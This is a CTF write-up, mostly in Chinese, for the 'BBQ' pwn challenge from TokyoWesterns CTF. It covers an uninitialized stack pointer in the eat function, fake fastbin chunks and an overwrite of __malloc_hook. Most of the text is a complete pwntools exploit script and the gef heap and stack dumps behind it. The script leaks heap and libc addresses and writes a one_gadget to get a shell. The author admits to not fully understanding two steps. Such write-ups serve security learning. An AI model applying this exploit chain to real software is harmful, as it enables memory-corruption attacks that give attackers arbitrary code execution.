twctf BBQ

 

bbq

漏洞点在eat函数那里没有初始化栈指针

    if ( grridle_list[v2] )
      {
        ptr = grridle_list[v2];
        puts("found food.");
      }
      else
      {
        puts("empty...");                           // if goes there ptr will be the last ptr we refer to
      }

卡了好久没有搞明白这个指针是怎么利用的,看了大佬的wp才明白

    And after some debugging , I found that the ptr can be one of the following:
    
    1.a file structure pointer
    2.if grill() is called, it will be the newly allocate Cooked_food structure pointer.
    3.if buy is called, it will be the name of the food if the name is longer than 40 bytes.

第一个情况没什么用,这里主要是利用第二三种情况 我们首先调用grill,此时的栈的布局是这样的:

    gef➤  x/50gx 0x7ffff8223898
    0x7ffff8223898:	0x00007f79325085e8	0x000056162ce32980
    0x7ffff82238a8:	0x00007f79328528e0	0x00007ffff8223980
    0x7ffff82238b8:	0x00007f793250960e	0x0000000000000000
    0x7ffff82238c8:	0x00007f79324fcc6a	0x000056162ce32980
    0x7ffff82238d8:	0x00007ffff8223980	0x0000000100000000
    0x7ffff82238e8:	0x0000000000000000	0x00007ffff82239e0
    0x7ffff82238f8:	0x00007f79328528e0	0x00007ffff8223980
    0x7ffff8223908:	0x0000000000000000	0x00007ffff8223ae0
    0x7ffff8223918:	0x0000000000000000	0x0000000000000000
    0x7ffff8223928:	0x00007f79324fbb7d	0x0000000000000000
    0x7ffff8223938:	0x00007ffff8223970	0x000056162ce32980
    0x7ffff8223948:	0x000056162ce3313b	0x000000400000000a
    0x7ffff8223958:	0x00007ffff8223980	0x00007ffff8223ae0
    0x7ffff8223968:	0x00007f793250881b	0x00007ffff82239d0
    0x7ffff8223978:	0x000056162ce3318f	0x000056162ce33300
    0x7ffff8223988:	0x00007f79324fd7fa	0x0000000000000000
    0x7ffff8223998:	0x00007ffff82239e0	0x000056162ce32980
    0x7ffff82239a8:	0x000056162ce32e58	0x0000000100000013
    0x7ffff82239b8:	0x000056162edb8140<---name_ptr	0x000056162ce33248
    0x7ffff82239c8:	0x4af2e48e056c2600	0x00007ffff82239e0
    0x7ffff82239d8:	0x000056162ce32b8b	0x00007ffff8223a00
    0x7ffff82239e8:	0x000056162ce32ad3	0x00007ffff8223ae0
    0x7ffff82239f8:	0x0000000000000003	0x000056162ce331c0
    0x7ffff8223a08:	0x00007f79324ae830	0x00007ffff8223ae8
    0x7ffff8223a18:	0x00007ffff8223ae8	0x000000013261a608

而后我们调用buy,这时的栈布局是这样的:

    gef➤  x/50gx 0x7ffdd7115d48
    0x7ffdd7115d48:	0x00007f79200005e8	0x0000000000000000
    0x7ffdd7115d58:	0x00007f792034a8e0	0x00007ffdd7115e30
    0x7ffdd7115d68:	0x00007f792000160e	0x0000000000000000
    0x7ffdd7115d78:	0x00007f791fff4c6a	0x0000558a13c47980
    0x7ffdd7115d88:	0x00007ffdd7115e30	0x0000000100000000
    0x7ffdd7115d98:	0x0000000000000000	0x00007ffdd7115e90
    0x7ffdd7115da8:	0x00007f792034a8e0	0x00007ffdd7115e30
    0x7ffdd7115db8:	0x0000000000000000	0x00007ffdd7115f90
    0x7ffdd7115dc8:	0x0000000000000000	0x0000000000000000
    0x7ffdd7115dd8:	0x00007f791fff3b7d	0x0000000000000000
    0x7ffdd7115de8:	0x00007ffdd7115e20	0x0000558a13c47980
    0x7ffdd7115df8:	0x0000558a13c4813b	0x0000004013c47980
    0x7ffdd7115e08:	0x00007ffdd7115e30	0x0000000000000000
    0x7ffdd7115e18:	0x0000558a143f4140	0x00007ffdd7115e80
    0x7ffdd7115e28:	0x0000558a13c4818f	0x0000558a13000000
    0x7ffdd7115e38:	0x0000007b1fff57fa	0x4343434343434343
    0x7ffdd7115e48:	0x4343434343434343	0x4343434343434343
    0x7ffdd7115e58:	0x4343434343434343	0x0043434343434343
    0x7ffdd7115e68:	0x0000558a143f4100<---name_ptr	0x0000558a13c48248
    0x7ffdd7115e78:	0x883183485a977c00	0x00007ffdd7115e90
    0x7ffdd7115e88:	0x0000558a13c47b8b	0x00007ffdd7115eb0
    0x7ffdd7115e98:	0x0000558a13c47ad3	0x00007ffdd7115f90
    0x7ffdd7115ea8:	0x0000000000000001	0x0000558a13c481c0
    0x7ffdd7115eb8:	0x00007f791ffa6830	0x00007ffdd7115f98
    0x7ffdd7115ec8:	0x00007ffdd7115f98	0x0000000120112608

可以看到因为截断,原本的ptr的低字节被我们修改成了\x00,也就是截断。 看一下堆布局:

    gef➤  heapls
               ADDR             SIZE            STATUS
    sbrk_base  0x56084fb9a000
    chunk      0x56084fb9a000   0x20            (inuse)
    chunk      0x56084fb9a020   0x20            (inuse)
    chunk      0x56084fb9a040   0x20            (inuse)
    chunk      0x56084fb9a060   0x30            (inuse)
    chunk      0x56084fb9a090   0x20            (inuse)
    chunk      0x56084fb9a0b0   0x20            (inuse)
    chunk      0x56084fb9a0d0   0x20            (inuse)
    chunk      0x56084fb9a0f0   0x20            (inuse)
    chunk      0x56084fb9a110   0x20            (inuse)
    chunk      0x56084fb9a130   0x20            (inuse)
    chunk      0x56084fb9a150   0x30            (inuse)
    chunk      0x56084fb9a180   0x20e80         (top)
    sbrk_end   0x56084fbbb000
    gef➤  x/8gx 0x56084fb9a0f0
    0x56084fb9a0f0:	0x000056084fb9a100	0x0000000000000021
    0x56084fb9a100:	0x7878787878787878	0x7878787878787878<---name
    0x56084fb9a110:	0x000000deadbeef11	0x0000000000000021
    0x56084fb9a120:	0x0000000000000000	0x0000000000000002
    gef➤  

这是调用eat时的栈结构:

    gef➤  x/50gx 0x7ffc698a3a78 
    0x7ffc698a3a78:	0x00007f97a4ac85e8	0x000055e33a074980
    0x7ffc698a3a88:	0x00007f97a4e128e0	0x00007ffc698a3b60
    0x7ffc698a3a98:	0x00007f97a4ac960e	0x0000000000000000
    0x7ffc698a3aa8:	0x00007f97a4abcc6a	0x000055e33a074980
    0x7ffc698a3ab8:	0x00007ffc698a3b60	0x0000000100000000
    0x7ffc698a3ac8:	0x0000000000000000	0x00007ffc698a3bc0
    0x7ffc698a3ad8:	0x00007f97a4e128e0	0x00007ffc698a3b60
    0x7ffc698a3ae8:	0x0000000000000000	0x00007ffc698a3cc0
    0x7ffc698a3af8:	0x0000000000000000	0x0000000000000000
    0x7ffc698a3b08:	0x00007f97a4abbb7d	0x0000000000000000
    0x7ffc698a3b18:	0x00007ffc698a3b50	0x000055e33a074980
    0x7ffc698a3b28:	0x000055e33a07513b	0x000000400000000a
    0x7ffc698a3b38:	0x00007ffc698a3b60	0x00007ffc698a3cc0
    0x7ffc698a3b48:	0x00007f97a4ac881b	0x00007ffc698a3bb0
    0x7ffc698a3b58:	0x000055e33a07518f	0x000055e33a075300
    0x7ffc698a3b68:	0x00007f97a4abd7fa	0x0000000000000000
    0x7ffc698a3b78:	0x00007ffc698a3bc0	0x000055e33a074980
    0x7ffc698a3b88:	0x000055e33a074e58	0x0000000543434343<---index
    0x7ffc698a3b98:	0x000055e33ae0c100<--ptr	0x000055e33a075248
    0x7ffc698a3ba8:	0xa3cb1c8c10f32600	0x00007ffc698a3bc0
    0x7ffc698a3bb8:	0x000055e33a074b8b	0x00007ffc698a3be0
    0x7ffc698a3bc8:	0x000055e33a074ad3	0x00007ffc698a3cc0
    0x7ffc698a3bd8:	0x0000000000000003	0x000055e33a0751c0
    0x7ffc698a3be8:	0x00007f97a4a6e830	0x00007ffc698a3cc8
    0x7ffc698a3bf8:	0x00007ffc698a3cc8	0x00000001a4bda608

原函数:


      __int64 v0; // rax
      int v2; // [rsp+4h] [rbp-2Ch]
      struct grridle *ptr; // [rsp+8h] [rbp-28h] not init
                           //                    
      unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v2就是传入的index:

可以看到指向的地址是我们可以控制的地方,可以令其指向一个name。 这样如果将name搞得像一个grridle结构差不多的话就可以将他free掉之后泄露堆地址了。 这样的话我们就可以构造一个伪造的大小在unsortedbin范围内的堆块,free掉之后就可以泄露地址

而后要在malloc_hook-0x18处构造一个伪造的food结构体,首先申请一个name为malloc_hook - 0x18的堆块 构造之后堆得布局如下

    0x5582080d3040:	0x0000000000000000	0x0000000000000021
    0x5582080d3050:	0x00005582080d3010	0x000000000000007b
    0x5582080d3060:	0x00005582080d3070	0x0000000000000031
    0x5582080d3070:	0x4141414141414141	0x4141414141414141
    gef➤  
    0x5582080d3080:	0x4141414141414141	0x0000414141414141
    0x5582080d3090:	0x0000000000000000	0x0000000000000021
    0x5582080d30a0:	0x00005582080d3050	0x0000000000000021
    0x5582080d30b0:	0x00005582080d30d0	0x00007f09679f2c48
    gef➤  
    0x5582080d30c0:	0x000000cafebabe33	0x0000000000000021
    0x5582080d30d0<---head:	0x00005582080d3120	0x00007f09000003e7
    0x5582080d30e0:	0x00005582080d30f0	0x0000000000000021
    0x5582080d30f0:	0x00007f09679f2af8	0x00007f09679f2b78
    gef➤  
    0x5582080d3100:	0x00005582080d3140	0x0000000000000081
    0x5582080d3110:	0x00007f09679f2b78	0x00007f09679f2b78
    0x5582080d3120:	0x00005582080d3100	0x000000000000007b
    0x5582080d3130:	0x00005582080d30b0	0x0000000000000021
    gef➤  
    0x5582080d3140:	0x00005582080d30e0	0x000000000000007b
    0x5582080d3150:	0x00005582080d3160	0x0000000000000031
    0x5582080d3160:	0x4343434343434343	0x4343434343434343
    0x5582080d3170:	0x4343434343434343	0x4343434343434343
    gef➤  
    0x5582080d3180:	0x0000000000000080	0x0000000000000040
    0x5582080d3190:	0x4343434343434343	0x4343434343434343
    0x5582080d31a0:	0x4343434343434343	0x4343434343434343
    0x5582080d31b0:	0x4343434343434343	0x00005582080d30b0

则此时整个链表的结构为 0x00005582080d30d0->0x00005582080d3120->0x00005582080d3100->0x00005582080d3140->0x00005582080d30e0->0x00005582080d30f0->0x00007f09679f2af8(malloc_hook - 0x18) 此时我们再看一下malloc_hook - 0x18 处的内容

    gef➤  x/8gx 0x00007f09679f2af8
    0x7f09679f2af8:	0x0000000000000000<--next	0x00007f09676b3e21<---num
    0x7f09679f2b08 <__realloc_hook>:	0x00007f09676b3a00<---name	0x0000000000000000
    0x7f09679f2b18:	0x0000000000000000	0x0000000000000000
    0x7f09679f2b28 <main_arena+8>:	0x0000000000000000	0x000000000000

再去看一下name里面的内容

    gef➤  x/8gx 0x7f09676b3a00
    0x7f09676b3a00 <realloc_hook_ini>:	0x5441554156415741	0xfb89485355f58949
    0x7f09676b3a10 <realloc_hook_ini+16>:	0xd5058b4838ec8348	0xe5ae2d8b480033e4
    0x7f09676b3a20 <realloc_hook_ini+32>:	0x00000000c7480033	0x480033e715058b00
    0x7f09676b3a30 <realloc_hook_ini+48>:	0x85000000000045c7	0x3100000221880fc0

那么我们只要购买这个name的东西一定数值,我们就可以控制num字段为0x21(这里注意一下num的大小占用四个字节)

而后我们要在main_arena中伪造一个food结构体,由于我们可控的字段只有name和num,所以伪造的结构体的num字段设置为fb[0],name设置为fb1 首先我们需要一个0x30大小的fastbin(fb[0])

    buy(p64(heap_base+0xd0),123)
    buy(p64(heap_base+0x10),123)
    #balance the heap struct
    buy('a'*0x10+p64(0xDEADBEEF11),0x31)#?
    buy(p64(0xDEADBEEF11),0x31)
    buy('padding',0x31)
    
    buy('C'*40+p64(heap_base+0x1e0),123)
    eat(5)

利用的是以上的代码,在执行堆风水操作之后堆的结构是这样的:

    gef➤  
    0x561607324160:	0x0000561607324170	0x0000000000000021
    0x561607324170:	0x6161616161616161	0x6161616161616161
    0x561607324180:	0x000000deadbeef11	0x0000000000000041
    0x561607324190:	0x4343434343434343	0x4343434343434343
    gef➤  
    0x5616073241a0:	0x4343434343434343	0x4343434343434343
    0x5616073241b0:	0x4343434343434343	0x00005616073240b0
    0x5616073241c0:	0x0000000000000000	0x0000000000000021
    0x5616073241d0:	0x0000561607324150	0x0000000000000031<--fake fastbin chunk
    gef➤  
    0x5616073241e0:	0x00005616073241f0	0x0000000000000021
    0x5616073241f0:	0x000000deadbeef11	0x0000000000000000
    0x561607324200:	0x0000000000000000	0x0000000000000021
    0x561607324210:	0x00005616073241d0	0x0000000000000031
    gef➤  
    0x561607324220:	0x0000561607324230	0x0000000000000021
    0x561607324230:	0x00676e6964646170	0x0000000000000000
    0x561607324240:	0x0000000000000000	0x0000000000020dc1
    0x561607324250:	0x0000000000000000	0x0000000000000000

free掉他的方式跟之前一样,利用指针未初始化。 而后我们需要一个0x20大小的fastbin,而且这个指针我们需要可控,于是乎同样需要一波风水操作(与之前类似)

    buy(p64(0xDEADBEEF11),0xb1)
    buy('A'*0x8,123)
    buy('B'*0x8,123)#fake a 0xb1 chunk
    buy(p64(mlh+0x10),123)

操作之后堆的结构:

    0x55f7be7152a0:	0x0000000000000000	0x0000000000000021
    0x55f7be7152b0:	0x000055f7be715250	0x00000000000000b1<--fake chunk
    gef➤  
    0x55f7be7152c0:	0x000055f7be7152d0	0x0000000000000021
    0x55f7be7152d0:	0x000000deadbeef11	0x0000000000000000
    0x55f7be7152e0:	0x0000000000000000	0x0000000000000021
    0x55f7be7152f0:	0x000055f7be7152b0<---|	0x000000000000007b
    gef➤                                 |   
    0x55f7be715300:	0x000055f7be715310    |	0x0000000000000021
    0x55f7be715310:	0x4141414141414141    |	0x0000000000000000
    0x55f7be715320:	0x0000000000000000    |	0x0000000000000021
    0x55f7be715330:	0x000055f7be7152f0--- |	0x000000000000007b
    gef➤  
    0x55f7be715340:	0x000055f7be715350	0x0000000000000021
    0x55f7be715350:	0x4242424242424242	0x0000000000000000
    0x55f7be715360:	0x0000000000000000	0x0000000000000021
    0x55f7be715370<---head:	0x000055f7be715330	0x000000000000007b
    gef➤  
    0x55f7be715380:	0x000055f7be715390	0x0000000000000021
    0x55f7be715390:	0x00007f0ee5562b20	0x0000000000000000
    0x55f7be7153a0:	0x0000000000000000	0x0000000000020c61

注意到此时heapbase+330处food结构体next指针指向heapbase+2f0 之后我们free掉这个chunk,再次分配一个小于它大小的chunk会将其分割,这样我们就可以控制其next指针,使其指向mallochook附近 而后我们调用grill申请一个0x20大小的fastbin,free掉,令其链入fb[0]

    0x555e210922c0:	0x0000555e210923b0	0x00007f1a0000007b
    0x555e210922d0:	0x0000555e210922e0	0x0000000000000021
    0x555e210922e0:	0x4848484848484848	0x4848484848484848
    0x555e210922f0<---chunk created by grill
                  :	0x0000555e21092390	0x0000000000000020
    gef➤  
    0x555e21092300:	0x0000555e210922f0  0x00007f1a00000001
    0x555e21092310:	0x000000deadbeef11	0x0000000000000051
    0x555e21092320:	0x00007f1ab3862b78	0x00007f1ab3862b78
    0x555e21092330:	0x0000555e210922f0	0x000000000000007b
    gef➤  
    0x555e21092340:	0x0000555e21092350	0x0000000000000021
    0x555e21092350:	0x4242424242424242	0x0000000000000000
    0x555e21092360:	0x0000000000000050	0x0000000000000020
    0x555e21092370:	0x0000555e21092330	0x000000000000007b
    gef➤  
    0x555e21092380:	0x0000555e21092390	0x0000000000000021
    0x555e21092390:	0x00007f1ab3862b20	0x0000000000000000
    0x555e210923a0:	0x0000000000000000	0x0000000000000021
    0x555e210923b0:	0x0000555e21092370	0x000000000000007

free之后的堆布局:

    0x5644c69092c0:	0x00005644c69093b0	0x00007f4f0000007b
    0x5644c69092d0:	0x00005644c69092e0	0x0000000000000021
    0x5644c69092e0:	0x4848484848484848	0x4848484848484848
    0x5644c69092f0<---chunk created by grill, now freed
                  :	0x00005644c6909390	0x0000000000000020
    gef➤  
    0x5644c6909300:	0x0000000000000000	0x00007f4f00000001
    0x5644c6909310:	0x000000cafebabe33	0x0000000000000051
    0x5644c6909320:	0x00007f4f0e06ab78	0x00007f4f0e06ab78
    0x5644c6909330:	0x00005644c69092f0	0x000000000000007b
    gef➤  
    0x5644c6909340:	0x00005644c6909350	0x0000000000000021
    0x5644c6909350:	0x4242424242424242	0x0000000000000000
    0x5644c6909360:	0x0000000000000050	0x0000000000000020
    0x5644c6909370:	0x00005644c6909330	0x000000000000007b
    gef➤  
    0x5644c6909380:	0x00005644c6909390	0x0000000000000021
    0x5644c6909390:	0x00007f4f0e06ab20	0x0000000000000000
    0x5644c69093a0:	0x0000000000000000	0x0000000000000021
    0x5644c69093b0:	0x00005644c6909370	0x000000000000007b

此时的main_arena:

    [ fb 0 ] 0x7f4f0e06ab28  -> [ 0x5644c69092f0 ] (32)<---fake num
    [ fb 1 ] 0x7f4f0e06ab30  -> [ 0x5644c69091d0 ] (48)<---fake name

这样, 我们通过buy就可以修改fb[0]的值,由于buy的时候需要用到两个堆块(food和name),所以我们将其修改为一个符合下列条件的堆块: 1.0x20大小的堆块 2.fd指针指向mallochook附近地址

这一堆块在我们之前在mallochook附近构造0x20堆块头时正好存在,于是我们就可以将fb[0]局部写其低地址从而达到目的

而后就可以愉快的将onegadget写入mallochook getshell 了

    from pwn import *
    
    context.log_level = 'debug'
    io = process('./BBQ')
    elf = ELF('BBQ')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    def p():
    	gdb.attach(io)
    	raw_input()
    def buy(name,n,p = False):
    	io.recvuntil(':')
    	io.sendline('1')
    	io.recvuntil('>>')
    	if p:
    		io.send(name)
    	else:
    		io.sendline(name)
    	io.recvuntil('amount >>')
    	io.sendline(str(n))
    def grill(name,idx):
    	io.recvuntil(':')
    	io.sendline('2')
    	io.recvuntil('food >>')
    	io.sendline(name)
    	io.recvuntil('index >>')
    	io.sendline(str(idx))
    def eat(idx):
    	io.recvuntil(':')
    	io.sendline('3')
    	io.recvuntil('index >>')
    	io.sendline(str(idx))
    name='x'*0x10+p64(0xDEADBEEF11)[:5]
    buy('A'*30,123)#1
    buy(p64(0xdeadbeef11),0xe1)#2
    buy(name,123)#3
    grill(name,0)
    grill(name,1)
    eat(0)
    eat(1)
    buy('C'*39,123)
    eat(5)
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil('* ')
    io.recvuntil('* ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    log.success(hex(leak))
    heap_base = leak - 0x110
    log.success(hex(heap_base))
    io.sendlineafter('>> ','Beef')
    io.sendlineafter('>> ','1')
    buy('C'*40 + p64(heap_base + 0xb0),123)
    eat(9)
    buy(p64(heap_base + 0xd0), 123)#bypass check?
    io.recvuntil(':')
    io.sendline('1')
    io.recvuntil('121')
    io.recvuntil('* ')
    leak = u64(io.recv(6).ljust(8,'\x00'))
    io.sendlineafter('>> ','Beef')
    io.sendlineafter('>> ','1')
    
    libc_base = leak - 0x10 - 0x58 - libc.symbols['__malloc_hook']
    log.success(hex(libc_base))
    mlh = libc_base + libc.symbols['__malloc_hook']
    log.success(hex(mlh))
    
    buy(p64(mlh - 0x18),999)
    io.recvuntil(':')
    io.sendline('1')
    
    k=io.recvuntil('food na').split(' ')
    name=k[-3]
    num=(int(k[-2].split('\n')[0][1:-1]))
    left=0x100000000-num-0x1
    log.success(name.encode('hex'))
    log.success(hex(num))
    log.success(hex(left))
    io.sendlineafter('>> ',name)
    io.sendlineafter('>> ','1')
    
    while(left>0):
        if(left<0x7FFFFFFF):
            buy(name,left+0x21)
            break
        else:
            buy(name,0x7FFFFFFF)
            left-=0x7FFFFFFF
    
    buy(p64(heap_base+0xd0),123)
    buy(p64(heap_base+0x10),123)
    #balance the heap struct
    buy('a'*0x10+p64(0xDEADBEEF11),0x31)
    buy(p64(0xDEADBEEF11),0x31)
    buy('padding',0x31)
    
    buy('C'*40+p64(heap_base+0x1e0),123)
    eat(5)
    #free a 0x31 chunk
    #now we need another 0x20 chunk to fake food struct
    buy(p64(0xDEADBEEF11),0xb1)
    buy('A'*0x8,123)
    buy('B'*0x8,123)#fake a 0xb1 chunk
    buy(p64(mlh+0x10),123)
    
    buy('C'*40+p64(heap_base+0x2c0),123)
    #free it
    eat(5)
    buy("H"*0x10+p64(heap_base+0x390),123)
    
    #*heap_base+0x390 == malloc_hook + 0x10
    
    grill('',0)
    
    eat(0)
    p() #add 2f0 + heapbase to fastbin (0x20) fb[0]
    #heap_base + 2f0 ->heapbase+390->mlh+0x10
    #heapbase+0x1d0->heapbase+0x150
    #[ fb 0 ] 0x7f64c286ab28  -> [ 0x5564206b62f0 ] (32) fake num
    #[ fb 1 ] 0x7f64c286ab30  -> [ 0x5564206b61d0 ] (48) fake name ptr
    #                               |
    #								->heapbase + 150
    #p()
    left=0x100000000-0x210
    while(left>0):
        if(left<0x7FFFFFFF):
            buy(p64(heap_base+0x150),left)
            break
        else:
            buy(p64(heap_base+0x150),0x7FFFFFFF)
            left-=0x7FFFFFFF
    #before was 2f0 now we want it to poited to 0e0 ,and 0e0 -> mlh - 0x18
    '''
    gef fastbins
    fastbins
    [ fb 0 ] 0x7f7f7abb2b28  -> [ 0x56296bec30e0 ] (32)
                                [ 0x7f7f7abb2af8 ] (32)
                                [ 0x7f7f7a873a00 ] (32)
                                [ 0xd5058b4838ec8348 ] (32)[!] Could not read address 0xd5058b4838ec8348
    
    [ fb 1 ] 0x7f7f7abb2b30  -> [ 0x56296bec31d0 ] (48)
    '''
    one = libc_base + 0x4526a
    buy('A' * 8 + p64(one),1)
    
    grill(p64(heap_base+0x150).ljust(64,'\x00'),1)
    io.interactive()

虽然看着大佬的wp做的但是有些地方还是不太懂: 1.倒数第二个grill那里 2.最后一步getshell 不想了,先吃饭